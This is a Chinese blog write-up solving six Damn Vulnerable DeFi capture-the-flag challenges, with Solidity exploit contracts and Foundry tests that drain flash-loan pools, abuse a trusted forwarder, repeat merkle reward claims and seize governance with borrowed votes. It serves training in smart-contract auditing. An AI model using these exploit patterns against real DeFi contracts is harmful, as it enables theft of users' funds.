0%

blockchain - Damn Vulnerable Defi 靶场复现

继续刷题

[0] 环境设置

我是用 forge 搭建的靶场,貌似还可以用 npm 之类的搭建,这样做题就直接用 web3.js 交互就可以了。

根据官方说明搭建靶场环境。forge 可能由于网络原因会失败,多安装几次就好了

forge build之后,本地有这样几个文件夹比较重要:

src: 漏洞源码。要做的题目都在这里面

test: 题解。如果想要解题,必须运行forge test --mp test/<题目名称>/<题目名称>.t.sol -vv,-vv是为了打印 emit log,方便我们调试。而我们的攻击poc就要写在上面这个.t.sol文件的test_<题目名称>()这个函数中。

[1] Unstoppable

漏洞类型:revert条件设置不当

本题我们的目标是攻击闪电贷合约,让这个闪电贷在任何时候都无法工作。

闪电贷(Flash Loan)是一种无需抵押的贷款形式,广泛用于去中心化金融(DeFi)领域。它的特别之处在于,贷款的整个过程(借款、使用资金、还款)必须在同一笔交易中完成。如果在交易结束时贷款没有被偿还,整个交易将被回滚,确保贷款人不会承担任何风险。

我们分析代码之后可以将漏洞定位在 flashLoan 函数里,因为只有当这个函数失败,monitor 里的 checkFlashLoan 才会 emit 一个 false。

而想要让 flashLoan 失败,有四个触发点:

  1. if (amount == 0) revert InvalidAmount(0);

  2. if (address(asset) != _token) revert UnsupportedCurrency();

  3. if (convertToShares(totalSupply) != balanceBefore) revert InvalidBalance();

  4. if ( ... != keccak256("IERC3156FlashBorrower.onFlashLoan")) {revert CallbackFailed();}

第一个点,amount是传参,不是我们想要改变的状态变量

第二个点,asset在整个合约中除了构造函数有改变以外,没有我们可以控制的点

第四个点,这个函数签名不正确,这也是我们无法控制的。

所以很明显,我们需要攻击第三点。但为什么会莫名其妙有第三点这个限制?我们仔细来分析一下:

首先,balanceBefore 是 totalAssets() 的返回值,assets 是闪电贷合约里剩余的代币数目(注意这里是代币,而不是实际的 ether),supply 是闪电贷合约能供给的数目上限,也就是一开始给的 1_000_000e18 个 ERC20 token(DVT),这个数目是不会变的。

我们一开始拥有 10 个 DVT,如果给闪电贷合约转 1 个 DVT 的话,这里的convertToShares 函数返回值就永远是 999999999999999999999999 了,此时就永远关停这个闪电贷了。

exp 如下:

1
2
3
4
5
6
7
8
9
10
function test_unstoppable() public checkSolvedByPlayer {
require(vault.convertToShares(vault.totalSupply()) == vault.totalAssets(),"not equal");
emit log_named_uint("Total Supply", vault.totalSupply());
emit log_named_uint("Total Assets", vault.totalAssets());
require(token.transfer(address(vault), 1 wei));
emit log_named_uint("calc result", vault.convertToShares(vault.totalSupply()));
emit log_named_uint("Total Supply", vault.totalSupply());
emit log_named_uint("Total Assets", vault.totalAssets());
require(vault.convertToShares(vault.totalSupply()) != vault.totalAssets(),"equal");
}

我突然意识到这个闪电贷是不是只要接收到 fee 立刻就 dead 了。。

[2] NaiveReceiver

漏洞类型:权限设置错误

这道题要求我们把 receiver 里的 10 WETH 和 pool 里的 1000 WETH 全转移到 recovery 账户中。最后 isSolved 有四条限制:

  1. player 调用的交易小于等于 2 条

  2. receiver 的 weth 余额为0

  3. pool 的 weth 余额为0

  4. recovery 的 weth 余额为 1010

很明显能看到 NaiveReceiverPool 合约中的 withdraw 权限设置的不对,任何人都可以调用这个函数取款。

但新版本的 solidity feature 卡了我好久...原来 0.8.0 之后的上溢/下溢都会自动检测了..也就是说没办法直接通过withdraw直接提款。

但这个合约还自己实现了 _msgSender 函数,当调用者是 trustedForwarder 时,_msgSender 函数就会将 msg.data的 最后 20byte 当作地址返回。也就是说,我们必须要通过 trustedForwarder 的 execute 方法来间接调用 withdraw。

除此之外,我们知道 deposits[deployer] 是有 1000WETH 的,deposits[receiver] 也有 10WETH,所以我们就有如下两种方法来转走这两个合约的 WETH:

第一种是通过闪电贷的 fee,把 receiver 里的 10WETH 转移到 deployer 中,然后一口气提干净。

第二种是提取一次 deployer,提取一次 receiver

但无论以上哪一种方法,都需要绕过上述的第一条限制:交易数小于等于 2 条,而这就用到了 Multicall 合约里的 multicall 方法了。

我们看第一种方法:调用 10 次 flashLoan,交 10 次 1WETH 的手续费,就能把 WETH 汇总在 deployer 的 deposits 中。不过这 10 次交易需要用 multicall 一起执行,不然会超出第一条限制的要求。然后,我们再通过 execute 调用 withdraw,就可以把这里面的存款全都转到 recovery 中了。不过这里我们选择把两条交易合并作一条,也就是把 withdraw 的 abi 编码与前10条 flashLoan 的编码合在一起。exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
function test_naiveReceiver() public checkSolvedByPlayer {
bytes[] memory callData = new bytes[](11);
for (uint256 i = 0; i < 10; i++) {
callData[i] = abi.encodeCall(NaiveReceiverPool.flashLoan, (receiver, address(weth), 0, bytes("")));
}
callData[10] = abi.encodePacked(abi.encodeCall(NaiveReceiverPool.withdraw, (WETH_IN_POOL + WETH_IN_RECEIVER, payable(recovery)));
bytes32(uint256(uint160(deployer))),
);
bytes memory multicallData = abi.encodeCall(Multicall.multicall, callData);
BasicForwarder.Request memory request = BasicForwarder.Request({
from: player,
target: address(pool),
value: 0,
gas: 1e7,
nonce: forwarder.nonces(player),
data: multicallData,
deadline: block.timestamp + 1 days
});
bytes32 requestHash = keccak256(
abi.encodePacked(
"\x19\x01",
forwarder.domainSeparator(),
forwarder.getDataHash(request)
)
);
(uint8 v, bytes32 r, bytes32 s)= vm.sign(playerPk ,requestHash);
bytes memory signature = abi.encodePacked(r, s, v);
forwarder.execute(request, signature);
}

[3] Truster

这道题的合约代码量很小,就实现了一个闪电贷,让我们通过闪电贷的交易过程,把合约里的钱都转走。

想转走代币一共有两种方法,第一种是直接让可信用户调用 transfer 函数,第二种是让恶意用户成为可信用户后,再通过恶意用户转账。由于 flashLoan 设置了代币数目检查,所以我们没办法在 flashLoan 的 target.functionCall 中直接调用 transfer,但我们可以采取 approve,让恶意合约有操控代币的权限。

exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
contract TrusterExploiter {
TrusterLenderPool public pool;
DamnValuableToken public token;
address recovery;

constructor(TrusterLenderPool _pool, DamnValuableToken _token, address _recovery) {
pool = _pool;
token = _token;
recovery = _recovery;
}

function attack() public returns (bool) {
require(pool.flashLoan(
0,
address(this),
address(token),
abi.encodeCall(token.approve,(address(this), 1_000_000e18))
));
token.transferFrom(address(pool), address(this), 1_000_000e18);
token.transfer(recovery, 1_000_000e18);

return true;
}
}

contract TrusterChallenge is Test {
...
function test_truster() public checkSolvedByPlayer {
TrusterExploiter exploiter = new TrusterExploiter(pool, token, recovery);
require(exploiter.attack());
}
...
}

[4] Side Entrance

这题跟上一题很相似,但是上一题用的是代币,这一题就完完全全用的 ether 了。不过我们可以在 IFlashLoanEtherReceiver(msg.sender).execute{value: amount}(); 里将贷款来的钱再用 deposit 存入 SideEntranceLenderPool 合约中,这样不仅不会影响 RepayFailed,还可以让 balances[IFlashLoanEtherReceiver] = 1000,之后我们 withdraw 即可成功提款,然后转账给 recovery 就好了。exp 如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
contract IFlashLoanEtherReceiver {
address player;
address recovery;
SideEntranceLenderPool pool;

constructor(SideEntranceLenderPool _pool, address _player, address _recovery) {
pool = _pool;
player = _player;
recovery = _recovery;
}

function execute() external payable {
pool.deposit{value: msg.value}();
}

function callFlashLoan(uint256 amount) public {
pool.flashLoan(amount);
pool.withdraw();
payable(recovery).transfer(amount);
}

receive() external payable {}
}

contract SideEntranceChallenge is Test {
...
function test_sideEntrance() public checkSolvedByPlayer {
IFlashLoanEtherReceiver receiver = new IFlashLoanEtherReceiver(pool, player, recovery);
receiver.callFlashLoan(1000e18);
}
...
}

[5] The Rewarder

漏洞在 claimRewards 里,同一次 claim 多个相同的账户不会有问题...

因为第一次调用,address(token) == address(0),不会进入_setClaimed,之后的调用 token == inputTokens[inputClaim.tokenIndex],进入 else 分支,也不会进入_setClaimed,等到下一种代币的时候,你就算把我上一个代币 setClaimed 也没用了。

感觉还是审代码的耐心不够..不清楚 merkel tree 的工作原理,想一笔调用干净,但每次 claim 的 amount 也要完全符合 json 文件里的 amount,所以只能多笔。

那既然想到多笔调出来,就肯定要研究 claimRewards 函数,然后模拟一下就能发现这个 if 判断条件有问题。

沉下心来,欲速则不达。

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
function test_theRewarder() public checkSolvedByPlayer {
uint PLAYER_DVT_CLAIM_AMOUNT = 11524763827831882;
uint PLAYER_WETH_CLAIM_AMOUNT = 1171088749244340;

bytes32[] memory dvtLeaves = _loadRewards("/test/the-rewarder/dvt-distribution.json");
bytes32[] memory wethLeaves = _loadRewards("/test/the-rewarder/weth-distribution.json");

uint dvtTxCount = TOTAL_DVT_DISTRIBUTION_AMOUNT / PLAYER_DVT_CLAIM_AMOUNT;
uint wethTxCount = TOTAL_WETH_DISTRIBUTION_AMOUNT / PLAYER_WETH_CLAIM_AMOUNT;
uint totalTxCount = dvtTxCount + wethTxCount;

IERC20[] memory tokensToClaim = new IERC20[](2);
tokensToClaim[0] = IERC20(address(dvt));
tokensToClaim[1] = IERC20(address(weth));

// Create Alice's claims
Claim[] memory claims = new Claim[](totalTxCount);

for (uint i = 0; i < totalTxCount; i++) {
if (i < dvtTxCount) {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: PLAYER_DVT_CLAIM_AMOUNT,
tokenIndex: 0, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(dvtLeaves, 188) // Alice's address is at index 2
});
} else {
claims[i] = Claim({
batchNumber: 0, // claim corresponds to first DVT batch
amount: PLAYER_WETH_CLAIM_AMOUNT,
tokenIndex: 1, // claim corresponds to first token in `tokensToClaim` array
proof: merkle.getProof(wethLeaves, 188) // Alice's address is at index 2
});
}
}

distributor.claimRewards({
inputClaims: claims,
inputTokens: tokensToClaim
});

dvt.transfer(recovery, dvt.balanceOf(player));
weth.transfer(recovery, weth.balanceOf(player));
}

[6] Selfie

这道题实现了个 fancy governance mechanism,如果我们通过 governance.executeAction 调用 emergencyExit(player),应该就可以提取所有的钱了。

主要问题有两个,第一个是绕过 queueAction 里的 _hasEnoughVotes,这个可以通过在 onFlashLoan 里调用 queueAction 来实现

第二个问题是要绕过 timestamp,让 timedelta 大于 2 days。这个我实在想不出来了,我觉得现实中应该就是隔两天之后再调用,就能绕过了吧。

看完别人的wp,居然直接用vm.warp(block.timestamp + 2 days);绕过了...好吧,exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import {IERC3156FlashBorrower} from "openzeppelin-contracts/contracts/interfaces/IERC3156FlashBorrower.sol";

contract Expoliter is IERC3156FlashBorrower {
bytes32 private constant CALLBACK_SUCCESS = keccak256("ERC3156FlashBorrower.onFlashLoan");
address recovery;
uint256 actionId;

uint256 constant TOKEN_INITIAL_SUPPLY = 2_000_000e18;
uint256 constant TOKENS_IN_POOL = 1_500_000e18;

DamnValuableVotes token;
SimpleGovernance governance;
SelfiePool pool;
constructor(DamnValuableVotes _token, SimpleGovernance _governance, SelfiePool _pool, address _recovery) {
token = _token;
governance = _governance;
pool = _pool;
recovery = _recovery;
}

function onFlashLoan(address receiver, address _token, uint256 _amount, uint256 nonce, bytes calldata _data) public returns (bytes32) {
token.delegate(address(this));
token.approve(address(pool), TOKENS_IN_POOL);
actionId = governance.queueAction(address(pool), 0, abi.encodeCall(pool.emergencyExit, (recovery)));
return CALLBACK_SUCCESS;
}

function step1() public {
pool.flashLoan(this, address(token), TOKENS_IN_POOL, "");
}

function step2() public {
governance.executeAction(actionId);
}
}

function test_selfie() public checkSolvedByPlayer {
Expoliter expoliter = new Expoliter(token, governance, pool, recovery);
expoliter.step1();
vm.warp(block.timestamp + 2 days);
expoliter.step2();
}
-------------文章就到这里啦!感谢您的阅读XD-------------